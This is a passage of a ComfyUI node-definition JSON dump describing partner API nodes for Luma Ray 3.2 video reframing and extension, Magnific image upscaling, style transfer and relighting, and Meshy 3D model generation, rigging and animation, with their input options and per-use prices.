true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9"]}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "aspect_ratio", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32VideoReframeNode", "display_name": "Luma Ray 3.2 Video Reframe", "description": "Change the aspect ratio of an existing video, using Luma Ray 3.2 to fill the newly exposed canvas areas. Source video up to 30 seconds. Billed per second of output.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\"360p\": 0.03, \"540p\": 0.06, \"720p\": 0.12, \"1080p\": 0.36};\n {\"type\": \"usd\", \"usd\": $lookup($p, widgets.resolution), \"format\": {\"suffix\": \"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32ExtendVideoNode": {"input": {"required": {"source_generation_id": ["STRING", {"tooltip": "generation_id of the prior Ray 3.2 video to extend. Connect the generation_id output of another Luma Ray 3.2 node.", "default": "", "multiline": false}], "direction": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Forward continues after the prior clip; backward is prepended before it.", "options": [{"key": "Forward (continue after)", "inputs": {"required": {"loop": ["BOOLEAN", {"tooltip": "Loop the extended video seamlessly (forward extend only).", "default": false}]}}}, {"key": "Backward (lead-in before)", "inputs": {"required": {}}}]}], "prompt": ["STRING", {"tooltip": "Text prompt for the new content.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["540p", "720p", "1080p"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["source_generation_id", "direction", "prompt", "resolution", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32ExtendVideoNode", "display_name": "Luma Ray 3.2 Extend Video", "description": "Extend a previous Ray 3.2 generation forward (continue after it) or backward (lead-in before it). Connect the generation_id output of a prior Luma Ray 3.2 node. Extensions are always 5 seconds.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\"360p\": 0.06, \"540p\": 0.15, \"720p\": 0.3, \"1080p\": 1.2};\n {\"type\": \"usd\", \"usd\": $lookup($p, widgets.resolution)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageUpscalerCreativeNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"default": "", "multiline": true}], "scale_factor": ["COMBO", {"multiselect": false, "options": ["2x", "4x", "8x", "16x"]}], "optimized_for": ["COMBO", {"multiselect": false, "options": ["standard", "soft_portraits", "hard_portraits", "art_n_illustration", "videogame_assets", "nature_n_landscapes", "films_n_photography", "3d_renders", "science_fiction_n_horror"]}], "creativity": ["INT", {"default": 0, "min": -10, "max": 10, "display": "slider"}], "hdr": ["INT", {"tooltip": "The level of definition and detail.", "default": 0, "min": -10, "max": 10, "display": "slider"}], "resemblance": ["INT", {"tooltip": "The level of resemblance to the original image.", "default": 0, "min": -10, "max": 10, "display": "slider"}], "fractality": ["INT", {"tooltip": "The strength of the prompt and intricacy per square pixel.", "default": 0, "min": -10, "max": 10, "display": "slider"}], "engine": ["COMBO", {"advanced": true, "multiselect": false, "options": ["automatic", "magnific_illusio", "magnific_sharpy", "magnific_sparkle"]}], "auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale input image if output would exceed maximum pixel limit.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "scale_factor", "optimized_for", "creativity", "hdr", "resemblance", "fractality", "engine", "auto_downscale"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageUpscalerCreativeNode", "display_name": "Magnific Image Upscale (Creative)", "description": "Prompt\u2011guided enhancement, stylization, and 2x/4x/8x/16x upscaling. Maximum output: 25.3 megapixels.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "scale_factor", "type": "COMBO"}, {"name": "auto_downscale", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ad := widgets.auto_downscale;\n $mins := $ad\n ? {\"2x\": 0.172, \"4x\": 0.343, \"8x\": 0.515, \"16x\": 0.515}\n : {\"2x\": 0.172, \"4x\": 0.343, \"8x\": 0.515, \"16x\": 0.844};\n $maxs := {\"2x\": 0.515, \"4x\": 0.844, \"8x\": 1.015, \"16x\": 1.187};\n {\n \"type\": \"range_usd\",\n \"min_usd\": $lookup($mins, widgets.scale_factor),\n \"max_usd\": $lookup($maxs, widgets.scale_factor),\n \"format\": { \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageUpscalerPreciseV2Node": {"input": {"required": {"image": ["IMAGE", {}], "scale_factor": ["COMBO", {"multiselect": false, "options": ["2x", "4x", "8x", "16x"]}], "flavor": ["COMBO", {"tooltip": "Processing style: sublime for general use, photo for photographs, photo_denoiser for noisy photos.", "multiselect": false, "options": ["sublime", "photo", "photo_denoiser"]}], "sharpen": ["INT", {"tooltip": "Image sharpness intensity. Higher values increase edge definition and clarity.", "default": 7, "min": 0, "max": 100, "display": "slider"}], "smart_grain": ["INT", {"tooltip": "Intelligent grain/texture enhancement to prevent the image from looking too smooth or artificial.", "default": 7, "min": 0, "max": 100, "display": "slider"}], "ultra_detail": ["INT", {"tooltip": "Controls fine detail, textures, and micro-details added during upscaling.", "default": 30, "min": 0, "max": 100, "display": "slider"}], "auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale input image if output would exceed maximum resolution.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "scale_factor", "flavor", "sharpen", "smart_grain", "ultra_detail", "auto_downscale"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageUpscalerPreciseV2Node", "display_name": "Magnific Image Upscale (Precise V2)", "description": "High-fidelity upscaling with fine control over sharpness, grain, and detail. Maximum output: 10060\u00d710060 pixels.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "scale_factor", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mins := {\"2x\": 0.172, \"4x\": 0.343, \"8x\": 0.515, \"16x\": 0.844};\n $maxs := {\"2x\": 2.045, \"4x\": 2.545, \"8x\": 2.889, \"16x\": 3.06};\n {\n \"type\": \"range_usd\",\n \"min_usd\": $lookup($mins, widgets.scale_factor),\n \"max_usd\": $lookup($maxs, widgets.scale_factor),\n \"format\": { \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageStyleTransferNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The image to apply style transfer to."}], "reference_image": ["IMAGE", {"tooltip": "The reference image to extract style from."}], "prompt": ["STRING", {"default": "", "multiline": true}], "style_strength": ["INT", {"tooltip": "Percentage of style strength.", "default": 100, "min": 0, "max": 100, "display": "slider"}], "structure_strength": ["INT", {"tooltip": "Maintains the structure of the original image.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "flavor": ["COMBO", {"tooltip": "Style transfer flavor.", "multiselect": false, "options": ["faithful", "gen_z", "psychedelia", "detaily", "clear", "donotstyle", "donotstyle_sharp"]}], "engine": ["COMBO", {"tooltip": "Processing engine selection.", "advanced": true, "multiselect": false, "options": ["balanced", "definio", "illusio", "3d_cartoon", "colorful_anime", "caricature", "real", "super_real", "softy"]}], "portrait_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Enable portrait mode for facial enhancements.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"portrait_style": ["COMBO", {"tooltip": "Visual style applied to portrait images.", "multiselect": false, "options": ["standard", "pop", "super_pop"]}], "portrait_beautifier": ["COMBO", {"tooltip": "Facial beautification intensity on portraits.", "multiselect": false, "options": ["none", "beautify_face", "beautify_face_max"]}]}}}]}], "fixed_generation": ["BOOLEAN", {"tooltip": "When disabled, expect each generation to introduce a degree of randomness, leading to more diverse outcomes.", "advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "reference_image", "prompt", "style_strength", "structure_strength", "flavor", "engine", "portrait_mode", "fixed_generation"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageStyleTransferNode", "display_name": "Magnific Image Style Transfer", "description": "Transfer the style from a reference image to your input image.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.11}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageRelightNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The image to relight."}], "prompt": ["STRING", {"tooltip": "Descriptive guidance for lighting. Supports emphasis notation (1-1.4).", "default": "", "multiline": true}], "light_transfer_strength": ["INT", {"tooltip": "Intensity of light transfer application.", "default": 100, "min": 0, "max": 100, "display": "slider"}], "style": ["COMBO", {"tooltip": "Stylistic output preference.", "multiselect": false, "options": ["standard", "darker_but_realistic", "clean", "smooth", "brighter", "contrasted_n_hdr", "just_composition"]}], "interpolate_from_original": ["BOOLEAN", {"tooltip": "Restricts generation freedom to match original more closely.", "advanced": true, "default": false}], "change_background": ["BOOLEAN", {"tooltip": "Modifies background based on prompt/reference.", "advanced": true, "default": true}], "preserve_details": ["BOOLEAN", {"tooltip": "Maintains texture and fine details from original.", "advanced": true, "default": true}], "advanced_settings": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Fine-tuning options for advanced lighting control.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"whites": ["INT", {"tooltip": "Adjusts the brightest tones in the image.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "blacks": ["INT", {"tooltip": "Adjusts the darkest tones in the image.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "brightness": ["INT", {"tooltip": "Overall brightness adjustment.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "contrast": ["INT", {"tooltip": "Contrast adjustment.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "saturation": ["INT", {"tooltip": "Color saturation adjustment.", "default": 50, "min": 0, "max": 100, "display": "slider"}], "engine": ["COMBO", {"tooltip": "Processing engine selection.", "multiselect": false, "options": ["automatic", "balanced", "cool", "real", "illusio", "fairy", "colorful_anime", "hard_transform", "softy"]}], "transfer_light_a": ["COMBO", {"tooltip": "The intensity of light transfer.", "multiselect": false, "options": ["automatic", "low", "medium", "normal", "high", "high_on_faces"]}], "transfer_light_b": ["COMBO", {"tooltip": "Also modifies light transfer intensity. Can be combined with the previous control for varied effects.", "multiselect": false, "options": ["automatic", "composition", "straight", "smooth_in", "smooth_out", "smooth_both", "reverse_both", "soft_in", "soft_out", "soft_mid", "style_shift", "strong_shift"]}], "fixed_generation": ["BOOLEAN", {"tooltip": "Ensures consistent output with the same settings.", "default": true}]}}}]}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Optional reference image to transfer lighting from."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "light_transfer_strength", "style", "interpolate_from_original", "change_background", "preserve_details", "advanced_settings"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageRelightNode", "display_name": "Magnific Image Relight", "description": "Relight an image with lighting adjustments and optional reference-based light transfer.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.11}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MagnificImageSkinEnhancerNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The portrait image to enhance."}], "sharpen": ["INT", {"tooltip": "Sharpening intensity level.", "default": 0, "min": 0, "max": 100, "display": "slider"}], "smart_grain": ["INT", {"tooltip": "Smart grain intensity level.", "default": 2, "min": 0, "max": 100, "display": "slider"}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Processing mode: creative for artistic enhancement, faithful for preserving original appearance, flexible for targeted optimization.", "options": [{"key": "creative", "inputs": {"required": {}}}, {"key": "faithful", "inputs": {"required": {"skin_detail": ["INT", {"tooltip": "Skin detail enhancement level.", "default": 80, "min": 0, "max": 100, "display": "slider"}]}}}, {"key": "flexible", "inputs": {"required": {"optimized_for": ["COMBO", {"tooltip": "Enhancement optimization target.", "multiselect": false, "options": ["enhance_skin", "improve_lighting", "enhance_everything", "transform_to_real", "no_make_up"]}]}}}]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "sharpen", "smart_grain", "mode"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MagnificImageSkinEnhancerNode", "display_name": "Magnific Image Skin Enhancer", "description": "Skin enhancement for portraits with multiple processing modes.", "python_module": "comfy_api_nodes.nodes_magnific", "category": "partner/image/Magnific", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rates := {\"creative\": 0.29, \"faithful\": 0.37, \"flexible\": 0.45};\n {\"type\":\"usd\",\"usd\": $lookup($rates, widgets.mode)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyTextToModelNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "style": ["COMBO", {"multiselect": false, "options": ["realistic", "sculpture"]}], "should_remesh": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "When set to false, returns an unprocessed triangular mesh.", "options": [{"key": "true", "inputs": {"required": {"topology": ["COMBO", {"multiselect": false, "options": ["triangle", "quad"]}], "target_polycount": ["INT", {"default": 300000, "min": 100, "max": 300000, "display": "number"}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "symmetry_mode": ["COMBO", {"advanced": true, "multiselect": false, "options": ["auto", "on", "off"]}], "pose_mode": ["COMBO", {"tooltip": "Specify the pose mode for the generated model.", "advanced": true, "multiselect": false, "options": ["", "A-pose", "T-pose"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "prompt", "style", "should_remesh", "symmetry_mode", "pose_mode", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyTextToModelNode", "display_name": "Meshy: Text to Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.8}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyRefineNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "meshy_task_id": ["MESHY_TASK_ID", {}], "enable_pbr": ["BOOLEAN", {"tooltip": "Generate PBR Maps (metallic, roughness, normal) in addition to the base color. Note: this should be set to false when using Sculpture style, as Sculpture style generates its own set of PBR maps.", "advanced": true, "default": false}], "texture_prompt": ["STRING", {"tooltip": "Provide a text prompt to guide the texturing process. Maximum 600 characters. Cannot be used at the same time as 'texture_image'.", "default": "", "multiline": true}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "Only one of 'texture_image' or 'texture_prompt' may be used at the same time."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "meshy_task_id", "enable_pbr", "texture_prompt"], "optional": ["texture_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyRefineNode", "display_name": "Meshy: Refine Draft Model", "description": "Refine a previously created draft model.", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyImageToModelNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "image": ["IMAGE", {}], "should_remesh": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "When set to false, returns an unprocessed triangular mesh.", "options": [{"key": "true", "inputs": {"required": {"topology": ["COMBO", {"multiselect": false, "options": ["triangle", "quad"]}], "target_polycount": ["INT", {"default": 300000, "min": 100, "max": 300000, "display": "number"}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "symmetry_mode": ["COMBO", {"multiselect": false, "options": ["auto", "on", "off"]}], "should_texture": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Determines whether textures are generated. Setting it to false skips the texture phase and returns a mesh without textures.", "options": [{"key": "true", "inputs": {"required": {"enable_pbr": ["BOOLEAN", {"tooltip": "Generate PBR Maps (metallic, roughness, normal) in addition to the base color.", "default": false}], "texture_prompt": ["STRING", {"tooltip": "Provide a text prompt to guide the texturing process. Maximum 600 characters. Cannot be used at the same time as 'texture_image'.", "default": "", "multiline": true}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "Only one of 'texture_image' or 'texture_prompt' may be used at the same time."}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "pose_mode": ["COMBO", {"tooltip": "Specify the pose mode for the generated model.", "advanced": true, "multiselect": false, "options": ["", "A-pose", "T-pose"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "image", "should_remesh", "symmetry_mode", "should_texture", "pose_mode", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyImageToModelNode", "display_name": "Meshy: Image to Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "should_texture", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"true\": 1.2, \"false\": 0.8};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.should_texture)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyMultiImageToModelNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["latest"]}], "images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 2, "max": 4}}], "should_remesh": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "When set to false, returns an unprocessed triangular mesh.", "options": [{"key": "true", "inputs": {"required": {"topology": ["COMBO", {"multiselect": false, "options": ["triangle", "quad"]}], "target_polycount": ["INT", {"default": 300000, "min": 100, "max": 300000, "display": "number"}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "symmetry_mode": ["COMBO", {"advanced": true, "multiselect": false, "options": ["auto", "on", "off"]}], "should_texture": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Determines whether textures are generated. Setting it to false skips the texture phase and returns a mesh without textures.", "options": [{"key": "true", "inputs": {"required": {"enable_pbr": ["BOOLEAN", {"tooltip": "Generate PBR Maps (metallic, roughness, normal) in addition to the base color.", "default": false}], "texture_prompt": ["STRING", {"tooltip": "Provide a text prompt to guide the texturing process. Maximum 600 characters. Cannot be used at the same time as 'texture_image'.", "default": "", "multiline": true}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "Only one of 'texture_image' or 'texture_prompt' may be used at the same time."}]}}}, {"key": "false", "inputs": {"required": {}}}]}], "pose_mode": ["COMBO", {"tooltip": "Specify the pose mode for the generated model.", "advanced": true, "multiselect": false, "options": ["", "A-pose", "T-pose"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "images", "should_remesh", "symmetry_mode", "should_texture", "pose_mode", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "meshy_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyMultiImageToModelNode", "display_name": "Meshy: Multi-Image to Model", "description": "", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "should_texture", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"true\": 0.6, \"false\": 0.2};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.should_texture)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyRigModelNode": {"input": {"required": {"meshy_task_id": ["MESHY_TASK_ID", {}], "height_meters": ["FLOAT", {"tooltip": "The approximate height of the character model in meters. This aids in scaling and rigging accuracy.", "default": 1.7, "min": 0.1, "max": 15.0}]}, "optional": {"texture_image": ["IMAGE", {"tooltip": "The model's UV-unwrapped base color texture image."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["meshy_task_id", "height_meters"], "optional": ["texture_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MESHY_RIGGED_TASK_ID", "FILE_3D_GLB", "FILE_3D_FBX"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "rig_task_id", "GLB", "FBX"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "MeshyRigModelNode", "display_name": "Meshy: Rig Model", "description": "Provides a rigged character in standard formats. Auto-rigging is currently not suitable for untextured meshes, non-humanoid assets, or humanoid assets with unclear limb and body structure.", "python_module": "comfy_api_nodes.nodes_meshy", "category": "partner/3d/Meshy", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MeshyAnimateModelNode": {"input": {"required": {"rig_task_id": ["MESHY_RIGGED_TASK_ID", {}], "action_id": ["INT", {"tooltip": "Visit https://docs.meshy.ai/en/api/animation-library for a list of available values.", "default": 0, "min": 0, "max": 